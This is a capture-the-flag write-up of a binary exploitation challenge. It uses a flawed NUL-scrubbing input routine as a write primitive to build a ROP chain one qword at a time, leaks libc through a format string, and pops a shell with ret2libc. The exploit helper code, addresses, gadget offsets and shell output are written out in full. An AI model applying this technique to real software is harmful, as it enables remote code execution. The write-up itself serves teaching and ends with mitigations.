home / ctf / k17

waf

The anti-ROP memset zeroes everything after the first NUL — and since we choose both the NUL position and the length, it becomes the tool that writes the chain.

2026.09.19 K17 CTF 2026 Pwn
FLAG K17{ma_a1n7_pr0uD_0f_me_n0_m0r3}
nc chal.secso.cc 4006 · handout: chal, Dockerfile

The banner — “Look ma, I made sure you can’t rop no more.” — names the defense directly. If you’re stuck, start by reading that defense as exactly what it says: something is erasing your ROP chain after you send it. The question to ask is not “how do I get around this,” but “what two things does it need to control in order to erase the right bytes, and are both of those things under my control.”

1. Recon — checksec’s SHSTK/IBT lines are not what they look like

Arch:   amd64-64-little
RELRO:  Partial RELRO
Stack:  No canary found
PIE:    No PIE (0x400000)
NX:     NX enabled
SHSTK:  Enabled          <- decoy
IBT:    Enabled          <- decoy

SHSTK/IBT reporting “Enabled” looks like it should shut down a ROP approach entirely — shadow stacks, if actually enforced, would make this challenge much harder. But those two lines come from the ELF’s GNU_PROPERTY note, which only reflects the compiler flags the binary was built with (-fcf-protection, Ubuntu GCC’s default). It says nothing about whether the kernel is enforcing CET at runtime, and here it isn’t. This is worth internalizing generally: checksec’s CET fields are a build-time marker, not a runtime guarantee, and should be verified rather than trusted before ruling out ROP.

No libc was shipped, but the Dockerfile pins the same base-image digest as huge binary 1 (debian@sha256:4ffb3a15...), so that libc.so.6 applies here too.

2. Code analysis

main is a REPL:

char buf[80];                 // rbp-80
memset(buf, 0, 80);           // ten qword stores, cleared inline

do {
    puts("Look ma, I made sure you can't rop no more.");
    printf(">> ");
    __gets(buf);
} while (strncmp(buf, "exit", 4) != 0);

return 0;                     // leave ; ret

and the hand-rolled __gets:

void __gets(char *buf) {
    int n;
    if (buf[0] != 0) n = read(0, buf, strlen(buf));   // 2nd+ call: strlen only
    else             n = read(0, buf, 128);           // 1st call: 128 bytes (!)

    for (int i = 0; i < n; i++)                       // <-- this IS the "WAF"
        if (buf[i] == 0) { memset(buf + i, 0, n - i); break; }
}

The bug. buf is 80 bytes, but the first call reads up to 128, because main pre-zeroes the buffer and buf[0] == 0 always takes the 128-byte branch on the first prompt. buf+80 is the saved rbp, buf+88 is the return address; writes can reach buf+127.

The “WAF.” After the read, it scans forward for the first NUL byte and zeroes everything from there to the end of what was read. A raw pointer value like 0x4011dd (dd 11 40 00 00 00 00 00) is five-eighths NUL bytes, so pushing a chain in one shot triggers the defense on the first pointer it touches and wipes everything past it.

3. Beating the WAF — turning the memset around

The way in is to treat memset(buf+i, 0, n-i) as a primitive rather than a defense: i is the offset of the first NUL, and n is the number of bytes we sent. Both of those are values we choose.

To place value val (length k) at slot pos, send exactly pos+8 bytes with the first NUL at pos+k. The WAF then zeroes precisely [pos+k, pos+8) — the upper bytes of that qword — and never touches anything above pos+8.

Because the REPL loops, and the second call onward reads strlen(buf) instead of a fixed 128, we write the chain from the highest slot down, one qword per round, letting strlen shrink as we go:

round 1: pos=112, n=120 (<=128) -> strlen becomes 118
round 2: pos=104, n=112 (<=118) -> strlen becomes 110
round 3: pos= 96, n=104 (<=110) -> strlen becomes 102
round 4: pos= 88, n= 96 (<=102), first 4 bytes "exit" -> break -> leave; ret
def round_payload(pos, val, prefix=b'', filler=b'A'):
    body = bytearray(filler * pos)
    body[:len(prefix)] = prefix
    body += val + b'\x00' * (8 - len(val))
    assert len(body) == pos + 8 and b'\x00' not in body[:pos + len(val)]
    return bytes(body)

Only the final round starts with "exit", so strncmp passes and leave; ret fires the fully-assembled chain.

4. Leaking libc

There is no pop rdi ; ret among the 82 gadgets in the binary. But entering printf@plt directly via ret — instead of call — gives a format-string primitive for free, because rdi still holds buf from the preceding strncmp call.

Argument indices needed to be measured, not assumed: a normally-called function has its stack varargs starting at [rsp+8], because call pushes a return address first. Entering via a bare ret shifts every index by one slot from that baseline. A few %ps confirmed the actual mapping:

%N$ == [buf + 8*N + 56]   (N >= 6)   ->   %6$ = [buf+104]

So: plant puts@got (0x404020) at buf+104, read it back with %6$s, and put main at buf+96 so the REPL restarts once printf returns.

wr(io, 104, p64(0x404020)[:3])                              # %6$ -> puts@got
wr(io,  96, p64(0x4012a2)[:3])                              # printf's ret -> main
wr(io,  88, p64(0x4010d0)[:3], prefix=b'exitL[%6$s]')       # printf(buf)

libc.address = leaked_puts - libc.symbols['puts']           # verified by page alignment

5. Stage 2 — a plain ret2libc

With the libc base known, the same round technique lays down the final chain. (A variant that relies on rdi == buf and calls system(buf) in a single slot also exists, but rdi was not reliably preserved across the second entry, so the pop rdi route was more stable.)

buf+ 88 : pop rdi ; ret     (libc + 0x2a145)
buf+ 96 : "/bin/sh"         (libc + 0x1a5ea4)
buf+104 : ret               (libc + 0x2846b)   # movaps alignment
buf+112 : system            (libc + 0x53110)

Each slot’s address has only six significant bytes; the round technique supplies the remaining two zero bytes for free.

6. Result

[+] libc base = 0x7f...000
$ id
uid=1000 gid=1000 groups=1000
$ cat /flag
K17{ma_a1n7_pr0uD_0f_me_n0_m0r3}

7. Takeaways

  • checksec reporting SHSTK/IBT as “Enabled” says nothing about runtime enforcement — it’s a compiler-flag marker read out of a note section. Don’t rule out ROP on the basis of that line alone; verify separately.
  • A defense that “erases everything after a NUL” becomes a tool for writing zeros wherever you want the moment the attacker controls both the erase range (n) and the NUL’s position (i). Letting both be attacker-controlled is the specific mistake this challenge is built around.
  • Entering a function through ret instead of call shifts format-string argument indices by exactly one slot. This should be measured with a couple of %ps rather than assumed — a wrong assumption here produces leaks that look almost, but not quite, right, which is harder to debug than an outright crash.
  • Mitigation: a length-bounded input function (fgets), stack canaries, and Full RELRO.
#rop#ret2libc#format-string#cet